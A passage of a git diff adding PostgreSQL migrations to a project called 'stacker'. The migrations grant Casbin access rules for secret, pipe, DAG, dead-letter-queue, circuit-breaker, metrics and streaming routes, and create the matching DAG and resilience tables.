FOR EACH ROW + EXECUTE FUNCTION update_remote_secret_updated_at(); diff --git a/stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql b/stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql new file mode 100644 index 0000000..8dd728b --- /dev/null +++ b/stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql @@ -0,0 +1,18 @@ +-- Remove Casbin rules for remote secret endpoints + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND ( + (v0 = 'group_user' AND v1 IN ( + '/project/:id/apps/:code/secrets', + '/project/:id/apps/:code/secrets/:name', + '/server/:id/secrets', + '/server/:id/secrets/:name' + )) + OR + (v0 = 'root' AND v1 IN ( + '/server/:id/secrets', + '/server/:id/secrets/:name' + )) + ) + AND v2 IN ('GET', 'PUT', 'DELETE'); diff --git a/stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql b/stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql new file mode 100644 index 0000000..3abc165 --- /dev/null +++ b/stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql @@ -0,0 +1,19 @@ +-- Add Casbin rules for remote secret endpoints + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Project app secret routes + ('p', 'group_user', '/project/:id/apps/:code/secrets', 'GET', '', '', ''), + ('p', 'group_user', '/project/:id/apps/:code/secrets/:name', 'GET', '', '', ''), + ('p', 'group_user', '/project/:id/apps/:code/secrets/:name', 'PUT', '', '', ''), + ('p', 'group_user', '/project/:id/apps/:code/secrets/:name', 'DELETE', '', '', ''), + -- Server secret routes + ('p', 'group_user', '/server/:id/secrets', 'GET', '', '', ''), + ('p', 'group_user', '/server/:id/secrets/:name', 'GET', '', '', ''), + ('p', 'group_user', '/server/:id/secrets/:name', 'PUT', '', '', ''), + ('p', 'group_user', '/server/:id/secrets/:name', 'DELETE', '', '', ''), + ('p', 'root', '/server/:id/secrets', 'GET', '', '', ''), + ('p', 'root', '/server/:id/secrets/:name', 'GET', '', '', ''), + ('p', 'root', '/server/:id/secrets/:name', 'PUT', '', '', ''), + ('p', 'root', '/server/:id/secrets/:name', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql b/stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql new file mode 100644 index 0000000..5b0fa75 --- /dev/null +++ b/stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql @@ -0,0 +1,10 @@ +-- Remove Casbin rules for /api/v1 project-scoped remote secret endpoints + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 IN ( + '/api/v1/project/:id/apps/:code/secrets', + '/api/v1/project/:id/apps/:code/secrets/:name' + ) + AND v2 IN ('GET', 'PUT', 'DELETE'); diff --git a/stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql b/stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql new file mode 100644 index 0000000..061072a --- /dev/null +++ b/stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql @@ -0,0 +1,9 @@ +-- Add Casbin rules for /api/v1 project-scoped remote secret endpoints + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets/:name', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets/:name', 'PUT', '', '', ''), + ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets/:name', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.down.sql b/stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.down.sql new file mode 100644 index 0000000..f08bc8d --- /dev/null +++ b/stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.down.sql @@ -0,0 +1,7 @@ +-- Remove agent notifications Casbin rule + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'agent' + AND v1 = '/api/v1/agent/notifications' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.up.sql b/stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.up.sql new file mode 100644 index 0000000..b64e175 --- /dev/null +++ b/stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.up.sql @@ -0,0 +1,5 @@ +-- Allow authenticated agents to fetch notifications + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'agent', '/api/v1/agent/notifications', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260714120000_casbin_pipe_rules.down.sql b/stacker/stacker/migrations/20260714120000_casbin_pipe_rules.down.sql new file mode 100644 index 0000000..f0888bd --- /dev/null +++ b/stacker/stacker/migrations/20260714120000_casbin_pipe_rules.down.sql @@ -0,0 +1,12 @@ +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates' AND v2='POST'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates/:template_id' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates/:template_id' AND v2='DELETE'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances' AND v2='POST'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:deployment_hash' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/detail/:instance_id' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id' AND v2='DELETE'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id/status' AND v2='PUT'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id/executions' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/executions/:execution_id' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/executions/:execution_id/replay' AND v2='POST'; diff --git a/stacker/stacker/migrations/20260714120000_casbin_pipe_rules.up.sql b/stacker/stacker/migrations/20260714120000_casbin_pipe_rules.up.sql new file mode 100644 index 0000000..2152346 --- /dev/null +++ b/stacker/stacker/migrations/20260714120000_casbin_pipe_rules.up.sql @@ -0,0 +1,21 @@ +-- Add Casbin rules for pipe template, instance, and execution endpoints +-- Routes are under /v1/pipes/ scope + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Pipe templates + ('p', 'group_user', '/api/v1/pipes/templates', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/templates', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/templates/:template_id', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/templates/:template_id', 'DELETE', '', '', ''), + -- Pipe instances + ('p', 'group_user', '/api/v1/pipes/instances', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/:deployment_hash', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/detail/:instance_id', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/:instance_id', 'DELETE', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/:instance_id/status', 'PUT', '', '', ''), + -- Pipe executions + ('p', 'group_user', '/api/v1/pipes/instances/:instance_id/executions', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/executions/:execution_id', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/executions/:execution_id/replay', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql b/stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql new file mode 100644 index 0000000..ed6174f --- /dev/null +++ b/stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql @@ -0,0 +1,5 @@ +-- Rollback Casbin rules for audit, capabilities, and server delete-preview endpoints +DELETE FROM public.casbin_rule +WHERE (v1 = '/api/v1/agent/audit' AND v2 IN ('POST', 'GET')) + OR (v1 = '/api/v1/deployments/:deployment_hash/capabilities' AND v2 = 'GET') + OR (v1 = '/server/:id/delete-preview' AND v2 = 'GET'); diff --git a/stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql b/stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql new file mode 100644 index 0000000..b05389d --- /dev/null +++ b/stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql @@ -0,0 +1,24 @@ +-- Add Casbin ACL rules for audit, capabilities, and server delete-preview endpoints +-- Audit uses X-Internal-Key header for actual auth, but needs Casbin to pass middleware +-- Capabilities is a public-ish endpoint + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- /api/v1/agent/audit POST (ingest) - needs all roles to pass Casbin + ('p', 'group_user', '/api/v1/agent/audit', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/agent/audit', 'POST', '', '', ''), + ('p', 'agent', '/api/v1/agent/audit', 'POST', '', '', ''), + ('p', 'group_anonymous', '/api/v1/agent/audit', 'POST', '', '', ''), + -- /api/v1/agent/audit GET (query) + ('p', 'group_user', '/api/v1/agent/audit', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/agent/audit', 'GET', '', '', ''), + ('p', 'agent', '/api/v1/agent/audit', 'GET', '', '', ''), + -- /api/v1/deployments/:hash/capabilities GET + ('p', 'group_user', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''), + ('p', 'group_anonymous', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''), + ('p', 'agent', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''), + -- /server/:id/delete-preview GET + ('p', 'group_user', '/server/:id/delete-preview', 'GET', '', '', ''), + ('p', 'root', '/server/:id/delete-preview', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.down.sql b/stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.down.sql new file mode 100644 index 0000000..1996f89 --- /dev/null +++ b/stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.down.sql @@ -0,0 +1,3 @@ +-- Rollback Casbin rules for admin pricing PATCH +DELETE FROM public.casbin_rule +WHERE v1 = '/api/admin/templates/:id/pricing' AND v2 = 'PATCH'; diff --git a/stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.up.sql b/stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.up.sql new file mode 100644 index 0000000..c9a813c --- /dev/null +++ b/stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.up.sql @@ -0,0 +1,6 @@ +-- Add Casbin rules for admin pricing PATCH endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'admin_service', '/api/admin/templates/:id/pricing', 'PATCH', '', '', ''), + ('p', 'group_admin', '/api/admin/templates/:id/pricing', 'PATCH', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120000_create_dag_tables.down.sql b/stacker/stacker/migrations/20260717120000_create_dag_tables.down.sql new file mode 100644 index 0000000..1e8b921 --- /dev/null +++ b/stacker/stacker/migrations/20260717120000_create_dag_tables.down.sql @@ -0,0 +1,6 @@ +ALTER TABLE pipe_templates DROP COLUMN IF EXISTS dag_config; +ALTER TABLE pipe_templates DROP COLUMN IF EXISTS is_dag; + +DROP TABLE IF EXISTS pipe_dag_step_executions; +DROP TABLE IF EXISTS pipe_dag_edges; +DROP TABLE IF EXISTS pipe_dag_steps; diff --git a/stacker/stacker/migrations/20260717120000_create_dag_tables.up.sql b/stacker/stacker/migrations/20260717120000_create_dag_tables.up.sql new file mode 100644 index 0000000..1db57d8 --- /dev/null +++ b/stacker/stacker/migrations/20260717120000_create_dag_tables.up.sql @@ -0,0 +1,56 @@ +-- DAG Steps: individual steps within a pipe template's DAG +CREATE TABLE pipe_dag_steps ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + pipe_template_id UUID NOT NULL REFERENCES pipe_templates(id) ON DELETE CASCADE, + name VARCHAR(256) NOT NULL, + step_type VARCHAR(32) NOT NULL CHECK (step_type IN ( + 'source', 'transform', 'condition', 'target', + 'parallel_split', 'parallel_join' + )), + step_order INT NOT NULL DEFAULT 0, + config JSONB NOT NULL DEFAULT '{}', + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_dag_steps_template ON pipe_dag_steps(pipe_template_id); +CREATE INDEX idx_dag_steps_order ON pipe_dag_steps(pipe_template_id, step_order); + +-- DAG Edges: directed connections between steps +CREATE TABLE pipe_dag_edges ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + pipe_template_id UUID NOT NULL REFERENCES pipe_templates(id) ON DELETE CASCADE, + from_step_id UUID NOT NULL REFERENCES pipe_dag_steps(id) ON DELETE CASCADE, + to_step_id UUID NOT NULL REFERENCES pipe_dag_steps(id) ON DELETE CASCADE, + condition JSONB, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + UNIQUE (from_step_id, to_step_id) +); + +CREATE INDEX idx_dag_edges_template ON pipe_dag_edges(pipe_template_id); +CREATE INDEX idx_dag_edges_from ON pipe_dag_edges(from_step_id); +CREATE INDEX idx_dag_edges_to ON pipe_dag_edges(to_step_id); + +-- DAG Step Executions: per-step execution tracking within a pipe execution +CREATE TABLE pipe_dag_step_executions ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + pipe_execution_id UUID NOT NULL REFERENCES pipe_executions(id) ON DELETE CASCADE, + step_id UUID NOT NULL REFERENCES pipe_dag_steps(id) ON DELETE CASCADE, + status VARCHAR(32) NOT NULL DEFAULT 'pending' CHECK (status IN ( + 'pending', 'running', 'completed', 'failed', 'skipped' + )), + input_data JSONB, + output_data JSONB, + error TEXT, + started_at TIMESTAMPTZ, + completed_at TIMESTAMPTZ, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_dag_step_exec_pipe ON pipe_dag_step_executions(pipe_execution_id); +CREATE INDEX idx_dag_step_exec_step ON pipe_dag_step_executions(step_id); +CREATE INDEX idx_dag_step_exec_status ON pipe_dag_step_executions(status); + +-- Extend pipe_templates with DAG flag +ALTER TABLE pipe_templates ADD COLUMN is_dag BOOLEAN NOT NULL DEFAULT false; +ALTER TABLE pipe_templates ADD COLUMN dag_config JSONB; diff --git a/stacker/stacker/migrations/20260717120001_casbin_dag_routes.down.sql b/stacker/stacker/migrations/20260717120001_casbin_dag_routes.down.sql new file mode 100644 index 0000000..6674260 --- /dev/null +++ b/stacker/stacker/migrations/20260717120001_casbin_dag_routes.down.sql @@ -0,0 +1,3 @@ +DELETE FROM casbin_rule +WHERE ptype = 'p' + AND v1 LIKE '/api/v1/pipes/*/dag/%'; diff --git a/stacker/stacker/migrations/20260717120001_casbin_dag_routes.up.sql b/stacker/stacker/migrations/20260717120001_casbin_dag_routes.up.sql new file mode 100644 index 0000000..4ea7876 --- /dev/null +++ b/stacker/stacker/migrations/20260717120001_casbin_dag_routes.up.sql @@ -0,0 +1,25 @@ +-- Casbin rules for DAG step/edge/validate routes under /api/v1/pipes/{id}/dag/* +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Steps CRUD + ('p', 'group_admin', '/api/v1/pipes/*/dag/steps', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/*/dag/steps', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/*/dag/steps/*', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/*/dag/steps/*', 'PUT', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/*/dag/steps/*', 'DELETE', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/steps', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/steps', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/steps/*', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/steps/*', 'PUT', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/steps/*', 'DELETE', '', '', ''), + -- Edges CRUD + ('p', 'group_admin', '/api/v1/pipes/*/dag/edges', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/*/dag/edges', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/*/dag/edges/*', 'DELETE', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/edges', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/edges', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/edges/*', 'DELETE', '', '', ''), + -- Validate + ('p', 'group_admin', '/api/v1/pipes/*/dag/validate', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/*/dag/validate', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120002_create_resilience_tables.down.sql b/stacker/stacker/migrations/20260717120002_create_resilience_tables.down.sql new file mode 100644 index 0000000..5f18d22 --- /dev/null +++ b/stacker/stacker/migrations/20260717120002_create_resilience_tables.down.sql @@ -0,0 +1,2 @@ +DROP TABLE IF EXISTS circuit_breakers; +DROP TABLE IF EXISTS dead_letter_queue; diff --git a/stacker/stacker/migrations/20260717120002_create_resilience_tables.up.sql b/stacker/stacker/migrations/20260717120002_create_resilience_tables.up.sql new file mode 100644 index 0000000..34f3e94 --- /dev/null +++ b/stacker/stacker/migrations/20260717120002_create_resilience_tables.up.sql @@ -0,0 +1,39 @@ +-- Dead Letter Queue for failed pipe executions +CREATE TABLE IF NOT EXISTS dead_letter_queue ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + pipe_instance_id UUID NOT NULL REFERENCES pipe_instances(id) ON DELETE CASCADE, + pipe_execution_id UUID REFERENCES pipe_executions(id) ON DELETE SET NULL, + dag_step_id UUID REFERENCES pipe_dag_steps(id) ON DELETE SET NULL, + payload JSONB, + error TEXT NOT NULL DEFAULT '', + retry_count INTEGER NOT NULL DEFAULT 0, + max_retries INTEGER NOT NULL DEFAULT 3, + next_retry_at TIMESTAMPTZ, + status TEXT NOT NULL DEFAULT 'pending' + CHECK (status IN ('pending', 'retrying', 'exhausted', 'resolved', 'discarded')), + created_by TEXT NOT NULL DEFAULT '', + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_dlq_instance_id ON dead_letter_queue(pipe_instance_id); +CREATE INDEX idx_dlq_status ON dead_letter_queue(status); + +-- Circuit breaker state per pipe instance +CREATE TABLE IF NOT EXISTS circuit_breakers ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + pipe_instance_id UUID NOT NULL UNIQUE REFERENCES pipe_instances(id) ON DELETE CASCADE, + state TEXT NOT NULL DEFAULT 'closed' + CHECK (state IN ('closed', 'open', 'half_open')), + failure_count INTEGER NOT NULL DEFAULT 0, + success_count INTEGER NOT NULL DEFAULT 0, + failure_threshold INTEGER NOT NULL DEFAULT 5, + recovery_timeout_seconds INTEGER NOT NULL DEFAULT 60, + half_open_max_requests INTEGER NOT NULL DEFAULT 3, + last_failure_at TIMESTAMPTZ, + opened_at TIMESTAMPTZ, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_cb_instance_id ON circuit_breakers(pipe_instance_id); diff --git a/stacker/stacker/migrations/20260717120003_casbin_resilience_routes.down.sql b/stacker/stacker/migrations/20260717120003_casbin_resilience_routes.down.sql new file mode 100644 index 0000000..ffaaa21 --- /dev/null +++ b/stacker/stacker/migrations/20260717120003_casbin_resilience_routes.down.sql @@ -0,0 +1,3 @@ +DELETE FROM casbin_rule WHERE v1 LIKE '/api/v1/pipes/%/dlq%' + OR v1 LIKE '/api/v1/pipes/dlq/%' + OR v1 LIKE '/api/v1/pipes/%/circuit-breaker%'; diff --git a/stacker/stacker/migrations/20260717120003_casbin_resilience_routes.up.sql b/stacker/stacker/migrations/20260717120003_casbin_resilience_routes.up.sql new file mode 100644 index 0000000..0599cd0 --- /dev/null +++ b/stacker/stacker/migrations/20260717120003_casbin_resilience_routes.up.sql @@ -0,0 +1,27 @@ +-- Casbin rules for DLQ and circuit breaker routes +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES + -- DLQ routes (admin) + ('p', 'group_admin', '/api/v1/pipes/instances/*/dlq', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/instances/*/dlq', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/dlq/*', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/dlq/*/retry', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/dlq/*', 'DELETE', '', '', ''), + -- Circuit breaker routes (admin) + ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker', 'PUT', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker/reset', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker/failure', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker/success', 'POST', '', '', ''), + -- DLQ routes (user) + ('p', 'group_user', '/api/v1/pipes/instances/*/dlq', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/*/dlq', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/dlq/*', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/dlq/*/retry', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/dlq/*', 'DELETE', '', '', ''), + -- Circuit breaker routes (user) + ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker', 'PUT', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker/reset', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker/failure', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker/success', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.down.sql b/stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.down.sql new file mode 100644 index 0000000..f1884bd --- /dev/null +++ b/stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.down.sql @@ -0,0 +1,4 @@ +DELETE FROM casbin_rule WHERE v1 IN ( + '/api/v1/pipes/instances/*/dag/execute', + '/api/v1/pipes/*/dag/executions/*/steps' +); diff --git a/stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.up.sql b/stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.up.sql new file mode 100644 index 0000000..78c035a --- /dev/null +++ b/stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.up.sql @@ -0,0 +1,15 @@ +-- Casbin rules for DAG execution routes +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES + -- DAG execute (admin) + ('p', 'group_admin', '/api/v1/pipes/instances/*/dag/execute', 'POST', '', '', ''), + -- DAG step executions list (admin) + ('p', 'group_admin', '/api/v1/pipes/*/dag/executions/*/steps', 'GET', '', '', ''), + -- DAG execute (user) + ('p', 'group_user', '/api/v1/pipes/instances/*/dag/execute', 'POST', '', '', ''), + -- DAG step executions list (user) + ('p', 'group_user', '/api/v1/pipes/*/dag/executions/*/steps', 'GET', '', '', ''), + -- DAG execute (client) + ('p', 'group_client', '/api/v1/pipes/instances/*/dag/execute', 'POST', '', '', ''), + -- DAG step executions list (client) + ('p', 'group_client', '/api/v1/pipes/*/dag/executions/*/steps', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.down.sql b/stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.down.sql new file mode 100644 index 0000000..0a4771c --- /dev/null +++ b/stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/metrics' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.up.sql b/stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.up.sql new file mode 100644 index 0000000..a190049 --- /dev/null +++ b/stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.up.sql @@ -0,0 +1,12 @@ +-- Allow anonymous, user, and admin access to /metrics (Prometheus endpoint) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/metrics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/metrics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/metrics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120006_casbin_streaming_routes.down.sql b/stacker/stacker/migrations/20260717120006_casbin_streaming_routes.down.sql new file mode 100644 index 0000000..c2a58b6 --- /dev/null +++ b/stacker/stacker/migrations/20260717120006_casbin_streaming_routes.down.sql @@ -0,0 +1,3 @@ +-- Revert Casbin rules for streaming endpoint +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id/stream' AND v2='GET'; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/pipes/instances/:instance_id/stream' AND v2='GET'; diff --git a/stacker/stacker/migrations/20260717120006_casbin_streaming_routes.up.sql b/stacker/stacker/migrations/20260717120006_casbin_streaming_routes.up.sql new file mode 100644 index 0000000..85f9999 --- /dev/null +++ b/stacker/stacker/migrations/20260717120006_casbin_streaming_routes.up.sql @@ -0,0 +1,8 @@ +-- Allow user and admin access to pipe instance execution stream (SSE) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/v1/pipes/instances/:instance_id/stream', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/v1/pipes/instances/:instance_id/stream', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120007_streaming_step_types.down.sql b/stacker/stacker/migrations/20260717120007_streaming_step_types.down.sql new file mode 100644 index 0000000..0719635 --- /dev/null +++ b/stacker/stacker/migrations/20260717120007_streaming_step_types.down.sql @@ -0,0 +1,14 @@ +-- Revert to original step_type constraint +ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check; + +ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check + CHECK (step_type IN ( + 'source', 'transform', 'condition', 'target', + 'parallel_split', 'parallel_join' + )); + +-- Remove any rows with streaming types (if any) +DELETE FROM pipe_dag_steps WHERE step_type IN ( + 'ws_source', 'ws_target', 'http_stream_source', + 'grpc_source', 'grpc_target' +); diff --git a/stacker/stacker/migrations/20260717120007_streaming_step_types.up.sql b/stacker/stacker/migrations/20260717120007_streaming_step_types.up.sql new file mode 100644 index 0000000..2a4a5fb --- /dev/null +++ b/stacker/stacker/migrations/20260717120007_streaming_step_types.up.sql @@ -0,0 +1,10 @@ +-- Extend step_type check constraint to include streaming types +ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check; + +ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check + CHECK (step_type IN ( + 'source', 'transform', 'condition', 'target', + 'parallel_split', 'parallel_join', + 'ws_source', 'ws_target', 'http_stream_source', + 'grpc_source', 'grpc_target' + )); diff --git a/stacker/stacker/migrations/20260717120008_casbin_field_match.down.sql 